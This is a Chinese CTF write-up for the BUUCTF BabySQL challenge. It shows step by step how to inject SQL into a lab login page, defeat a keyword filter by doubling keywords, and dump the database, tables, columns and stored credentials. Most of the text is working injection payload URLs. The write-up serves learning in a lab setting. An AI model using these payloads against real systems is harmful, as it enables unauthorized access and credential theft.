BUUCTF[极客大挑战2019]BabySQL
Posted 热绪
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF[极客大挑战2019]BabySQL相关的知识,希望对你有一定的参考价值。
SQL注入题型
通过
?username=admin' &password=123
发现存在注入点和闭合方式。
我们试试万能密码:
?username=admin' or '1'='1%23&password=123
万能密码好像不行了;
我们试着查看字段;
?username=admin&password=123' order by 3
从报错提示可以看出,过滤掉了or字段,所以万能密码不能使用,我们试试双写绕过然后登录万能密码。
?username=admin' oorr '1'='1%23&password=123
出来了加密的密码,但是没什么卵用,我们继续思考。
在知道or被过滤之后,开始测字段,这里我测试了很多order by 3的双写发现,order,by,or都被过滤掉了,所以我们需要换一种方式来测字段;
我们使用 union select 1,2,3,4 union select 1,2,3 来测试,
可以看到,union,select,也被过滤掉了,我们双写绕过试试:
http://6943a44e-9986-4f38-bbbc-ed0d1af51099.node3.buuoj.cn/check.php?username=admin' ununionion seselectlect 1,2,3,4 %23&password=123
成功绕过,但是不是4个字段,我们继续测试 union select 1,2,3
http://6943a44e-9986-4f38-bbbc-ed0d1af51099.node3.buuoj.cn/check.php?username=admin' ununionion seselectlect 1,2,3 %23&password=123
确认了,是3个字段,我们查看回显点;
http://6943a44e-9986-4f38-bbbc-ed0d1af51099.node3.buuoj.cn/check.php
?username=1' ununionion seselectlect 1,2,3 %23
&password=123
回显点是2,3;似乎好起来了。
我们查看数据库名字和版本;
http://6943a44e-9986-4f38-bbbc-ed0d1af51099.node3.buuoj.cn/check.php
?username=1' ununionion seselectlect 1,database(),version() %23
&password=123
ok,我们查询表名;经测试,部分位置需要双写绕过;
http://6943a44e-9986-4f38-bbbc-ed0d1af51099.node3.buuoj.cn/check.php
?username=1' ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='geek' %23
&password=123
我们查询b4bsql表的字段名;
http://6943a44e-9986-4f38-bbbc-ed0d1af51099.node3.buuoj.cn/check.php
?username=1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql' %23
&password=123
最后我们查询字段;flag在最后。
http://6943a44e-9986-4f38-bbbc-ed0d1af51099.node3.buuoj.cn/check.php
?username=1' ununionion seselectlect 1,2,group_concat(username,0x7e,passwoorrd)frfromom geek.b4bsql %23
&password=123
ok!得flag。
思路:发现过滤,通过报错提示发现绕过哪些字符,经测试发现双写即可绕过。
以上是关于BUUCTF[极客大挑战2019]BabySQL的主要内容,如果未能解决你的问题,请参考以下文章